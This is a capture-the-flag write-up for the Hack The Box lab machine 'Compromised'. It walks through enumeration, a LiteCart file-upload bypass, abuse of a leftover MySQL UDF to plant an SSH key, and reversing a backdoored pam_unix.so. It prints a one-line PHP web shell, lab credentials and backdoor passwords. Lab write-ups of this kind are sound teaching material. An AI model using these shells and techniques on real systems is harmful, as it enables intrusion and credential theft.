Compromised

This is a Hard rated Linux machine that primarily focuses on an attacker’s enumeration skills as well as some basic reverse engineering knowledge.
This machine was retired on 24 January 2021 (SGT).
I will be using a Kali Linux virtual machine to attempt this box. Before I start, I will map the machine’s IP address to a domain name, usually using the machine’s name and the TLD .htb
.
kali@kali:~$ echo "10.10.10.207 compromised.htb" | sudo tee -a /etc/hosts
Reconnaissance and Enumeration
Nmap
Running a nmap
TCP port scan revealed the following open TCP ports:
kali@kali:~$ nmap -sT -sV -sC -O -p1-65535 compromised.htb
Nmap scan report for compromised.htb (10.10.10.207)
Host is up (0.0074s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6e:da:5c:8e:8e:fb:8e:75:27:4a:b9:2a:59:cd:4b:cb (RSA)
| 256 d5:c5:b3:0d:c8:b6:69:e4:fb:13:a3:81:4a:15:16:d2 (ECDSA)
|_ 256 35:6a:ee:af:dc:f8:5e:67:0d:bb:f3:ab:18:64:47:90 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Legitimate Rubber Ducks | Online Store
|_Requested resource was http://compromised.htb/shop/en/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (92%), Linux 5.0 (92%), Linux 5.0 - 5.4 (91%), Linux 2.6.32 (91%), Linux 5.0 - 5.3 (90%), Crestron XPanel control system (90%), Linux 5.3 - 5.4 (90%), Linux 5.4 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 127.52 seconds
80/tcp (Apache Web Server, LiteCart)
Browsing to http://compromised.htb
redirects us to http://compromised.htb/shop
, which is hosting a LiteCart web application.
LiteCart is an open-source e-commerce platform written in PHP. There isn’t much information available just by browsing the website, so let’s start enumerating the web directories.
kali@kali:~$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://compromised.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : http://compromised.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
shop [Status: 301, Size: 317, Words: 20, Lines: 10]
backup [Status: 301, Size: 319, Words: 20, Lines: 10]
http://compromised.htb/backup
seems interesting. Browsing to the directory gave us one file to download.
Extracting the contents of a.tar.gz
revealed that it contains old (backup) files for the LiteCart instance hosted on the machine.
kali@kali:~$ ls -la ~/HackTheBox/Hard/Compromised/loots/a/shop/
total 76
drwxr-xr-x 11 htb htb 4096 May 28 2020 .
drwxr-xr-x 3 htb htb 4096 Dec 16 14:40 ..
drwxr-xr-x 24 htb htb 4096 Dec 16 14:51 admin
drwxr-xr-x 2 htb htb 4096 May 28 2020 cache
drwxr-xr-x 2 htb htb 4096 May 28 2020 data
drwxr-xr-x 7 htb htb 4096 May 14 2018 ext
-rw-r--r-- 1 htb htb 15086 May 28 2020 favicon.ico
-rw-r--r-- 1 htb htb 2854 May 28 2020 .htaccess
drwxr-xr-x 10 htb htb 4096 May 28 2020 images
drwxr-xr-x 11 htb htb 4096 May 28 2020 includes
-rw-r--r-- 1 htb htb 2508 May 14 2018 index.php
drwxr-xr-x 2 htb htb 4096 May 28 2020 logs
drwxr-xr-x 4 htb htb 4096 May 14 2018 pages
-rw-r--r-- 1 htb htb 71 May 28 2020 robots.txt
-rw-r--r-- 1 htb htb 35 May 28 2020 .sh.php
drwxr-xr-x 4 htb htb 4096 May 29 2020 vqmod
Suspicious Modifications in Backup
The file .sh.php
seems fishy. Let’s see what’s inside.
<?php system($_REQUEST['cmd']); ?>
A web shell? Attempting to browse to the file on the web server returns a 404 Not Found
HTTP status code. Looks like it could have already been removed. Let’s just see what else is in the backup. I started off by enumerating key files like configurations or files containing source codes for user authentication. In shop/includes/config.inc.php
, information for accessing a database can be seen from line 38 onwards. MySQL credentials root:changethis
could be of use later.
(truncated output)
######################################################################
## Database ##########################################################
######################################################################
// Database
define('DB_TYPE', 'mysql');
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', 'changethis');
define('DB_DATABASE', 'ecom');
define('DB_TABLE_PREFIX', 'lc_');
define('DB_CONNECTION_CHARSET', 'utf8');
define('DB_PERSISTENT_CONNECTIONS', 'false');
The file shop/admin/login.php
contains something that shouldn’t be there.
(truncated output)
if (!empty(user::$data['id'])) notices::add('notice', language::translate('text_already_logged_in', 'You are already logged in'));
if (isset($_POST['login'])) {
//file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $_POST['username'] . " Passwd: " . $_POST['password']);
user::login($_POST['username'], $_POST['password'], $redirect_url, isset($_POST['remember_me']) ? $_POST['remember_me'] : false);
}
Apparently there is code present (Already commented out) that could have logged the credentials of the LiteCart admin user. This and the presence of the hidden web shell in the backup file seems to suggest that this machine has already been “compromised”. Let’s see if that log file .log2301c9430d8593ae.txt
exists on the server.
With the credentials admin:theNextGenSt0r3!~
, log into the admin interface of LiteCart. Once logged in, we can see that this instance of LiteCart is running version 2.1.2
. Enlist the help of searchsploit
to see if there are any vulnerabilities.
kali@kali:~$ searchsploit litecart
---------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------- ---------------------------------
LiteCart 2.1.2 - Arbitrary File Upload | php/webapps/45267.py
---------------------------------------- ---------------------------------
Shellcodes: No Results
Arbitrary File Upload Vulnerability (CVE-2018-12256)
By checking the commit history of LiteCart on GitHub, I managed to find the commit that attempts to fix this vulnerability. Vulnerable versions of LiteCart ensure that an uploaded file for vQmods
is an XML file by checking the Content-Type
in the HTTP header. However, this can be easily bypassed by modifying the Content-Type
of the HTTP header before sending it to LiteCart.
Instead of using the exploit code, I decided to manually upload a PHP web shell via the admin interface, intercept the request with Burp Suite and change the Content-Type
value to application/xml
.
When done, the file can be accessed from the /shop/vqmod/xml
directory.
Looks like the upload worked, but the web shell is unable to execute any commands.
PHP disabled_functions() Bypass
After more testing and some digging around, I uploaded a PHP file to execute phpinfo()
and discovered the reason why my web shell wasn’t working: the PHP function system()
and other similar functions are disabled.
Looks like we have to get more creative. Using Google to find ways to bypass PHP disabled_functions()
led me to PHP bug report #72530, where an issue with the PHP garbage collector can be abused to bypass the disabled_functions()
. A proof-of-concept exploit code making use of this vulnerability is also available on ExploitDB.
Initial Foothold: www-data
With a web shell, our presence is pretty limited. However, in case you have forgotten, do remember the whole theme of this machine (Compromised). As noted previously, there are traces of previous intrusion that aided us to this step, and this could only mean that there could be further backdoors or tools left behind by the previous attacker.
Listing the /home
directory and contents of /etc/passwd
revealed the user sysadmin
, while the user mysql
has an interactive shell, which doesn’t look normal. By default, the user mysql
should have a non-interactive shell or a shell that refuses login (/usr/sbin/nologin
is one).
Enumerating the usual directories revealed nothing interesting, so I decided to check out the MySQL database with the credentials root:changethis
that was previously obtained. Since interacting with the web shell is pretty painful as output isn’t always formatted properly, I decided to create a little Python script that will simulate a shell environment with proper output formatting.
Enumerating the LiteCart database ecom
didn’t reveal any useful information. I stumbled into an article while searching for potential backdoors in MySQL and enumerated the func
table in the mysql
database.
[zxWebPwn] [email protected] $ mysql -uroot -pchangethis mysql -e "select * from mysql.func;"
name ret dl type
exec_cmd 0 libmysql.so function
mysql.func
table is a system table that contains user-defined functions (UDF). UDF is a way to extend the functionality of MySQL which works like native MySQL functions and are written in C/C++.
Since the name of this function is exec_cmd
, can we use it to execute system commands? Let’s see.
[zxWebPwn] [email protected] $ mysql -uroot -pchangethis mysql -e "select exec_cmd('id')"
exec_cmd('id')
uid=111(mysql) gid=113(mysql) groups=113(mysql)\n\0\0\0\0...
Privilege Escalation: mysql
Let’s abuse the UDF to add our SSH key to the authorized_keys
file, then SSH as mysql
to the machine.
[zxWebPwn] [email protected] $ mysql -uroot -pchangethis mysql -e "select exec_cmd('echo ssh-ed25519 AAAA**************************************************************** >> .ssh/authorized_keys')"
[zxWebPwn] [email protected] $ exit
kali@kali:~$ ssh -i /path/to/ssh_key [email protected]
mysql@compromised:~$
Privilege Escalation: sysadmin
Looks like the user sysadmin
is our next target, as the home directory of mysql
does not have the user.txt
flag. However, it does contain interesting files that suggested strace
was executed. Enumerating strace-log.dat
revealed instances of su
and sudo
activity using the sysadmin
account.
Further analysis of the file revealed that the credentials sysadmin:3*NLJE32I$Fe
has been captured (strace
was used as a “keylogger” in this scenario).
(truncated output - strace-log.dat lines 8385 to 8400)
22232 03:11:52 write(4, "[sudo] password for sysadmin: ", 30) = 30
22232 03:11:52 read(4, "3", 1) = 1
22232 03:11:59 read(4, "*", 1) = 1
22232 03:11:59 read(4, "N", 1) = 1
22232 03:11:59 read(4, "L", 1) = 1
22232 03:11:59 read(4, "J", 1) = 1
22232 03:11:59 read(4, "E", 1) = 1
22232 03:11:59 read(4, "3", 1) = 1
22232 03:11:59 read(4, "2", 1) = 1
22232 03:11:59 read(4, "I", 1) = 1
22232 03:11:59 read(4, "$", 1) = 1
22232 03:11:59 read(4, "F", 1) = 1
22232 03:11:59 read(4, "e", 1) = 1
22232 03:11:59 read(4, "\n", 1) = 1
22232 03:11:59 alarm(0) = 0
22232 03:11:59 write(4, "\n", 1) = 1
mysql@compromised:~$ su - sysadmin
Password:
sysadmin@compromised:~$
user.txt
The user flag is located in the home directory of sysadmin
.
sysadmin@compromised:~$ ls -l
total 4
-r--r----- 1 root sysadmin 33 Dec 16 10:43 user.txt
sysadmin@compromised:~$ cat user.txt
fa66****************************
Local System Enumeration
Usually, at this stage I would execute LinPEAS or LinEnum by downloading them from my machine using wget
. However for some reason, outbound network connections are not working.
Remembering that this machine has already been compromised, I decided to enumerate by checking for things that are out of place, starting with hidden files (Remember the hidden web shell we saw earlier?).
sysadmin@compromised:~$ find / -type f -iname ".*" -ls 2>/dev/null | less
(truncated output)
924118 4 -rw-r--r-- 1 root root 220 May 13 2020 /etc/skel/.bash_logout
1444617 196 -rw-r--r-- 1 root root 198440 Aug 31 03:25 /lib/x86_64-linux-gnu/security/.pam_unix.so
398160 4 -rw-r--r-- 1 root root 2854 May 28 2020 /var/www/html/shop/.htaccess
131304 4 -rw-r--r-- 1 www-data www-data 37 May 29 2020 /var/www/html/shop/admin/.log2301c9430d8593ae.txt
659386 4 -rw-r--r-- 1 root root 169 May 14 2018 /var/www/html/shop/data/.htaccess
660196 4 -rw-r--r-- 1 root root 169 May 14 2018 /var/www/html/shop/logs/.htaccess
659383 4 -rw-r--r-- 1 root root 188 May 14 2018 /var/www/html/shop/cache/.htaccess
/lib/x86_64-linux-gnu/security/.pam_unix.so is hidden?
Isn’t this required for authentication? Let’s check that directory.
sysadmin@compromised:~$ ls -la /lib/x86_64-linux-gnu/security/
(truncated output)
-rw-r--r-- 1 root root 10376 Feb 27 2019 pam_umask.so
-rw-r--r-- 1 root root 198440 Aug 31 03:25 .pam_unix.so
-rw-r--r-- 1 root root 198440 Aug 31 03:25 pam_unix.so
-rw-r--r-- 1 root root 14448 Feb 27 2019 pam_userdb.so
-rw-r--r-- 1 root root 6104 Feb 27 2019 pam_warn.so
-rw-r--r-- 1 root root 10256 Feb 27 2019 pam_wheel.so
-rw-r--r-- 1 root root 18848 Feb 27 2019 pam_xauth.so
Judging from this situation and the overall theme of the machine, I assumed that .pam_unix.so
is the original PAM module, and pam_unix.so
is a “compromised” version? Time to analyse this file. Retrieve the file to our local machine using scp
and then proceed to disassemble it with Ghidra.
Exploiting Backdoor in pam_unix.so
Analysing the decompiled code revealed the presence of a backdoor
in the pam_sm_authenticate
function.
Tracing to the locations 0x001031a4
and 0x001031b3
revealed the values used (in hexadecimal).
Based on my understanding of the disassembled instructions, whenever authentication is performed, the entered password is checked against this backdoor
variable, a 15-character array, using the strcmp
function. If it matches, it skips checking the _unix_verify_password
function and treats the authentication process as successful. Else, it would proceed to the normal authentication flow of checking the entered password with the password hash in /etc/shadow
.
Doing the necessary “magic” (converting hex to character sequence) will reveal the backdoor string to be zlke~U3Env82m2-
.
sysadmin@compromised:~$ su - root
Password:
root@compromised:~#
root.txt
The root flag is located in the home directory of root
.
root@compromised:~# ls -l
total 4
-r-------- 1 root root 33 Dec 16 10:43 root.txt
root@compromised:~# cat root.txt
eb89****************************
References and Further Reading
- Unrestricted File Upload - OWASP
- LiteCart 2.1.2 - Arbitrary File Upload
- Does /usr/sbin/nologin as a login shell serve a security purpose? - Unix & Linux Stack Exchange
- mysql.func Table
- MySQL User-Defined Functions
- Little Endian byte storage for character string constants as immediate operands? - Stack Overflow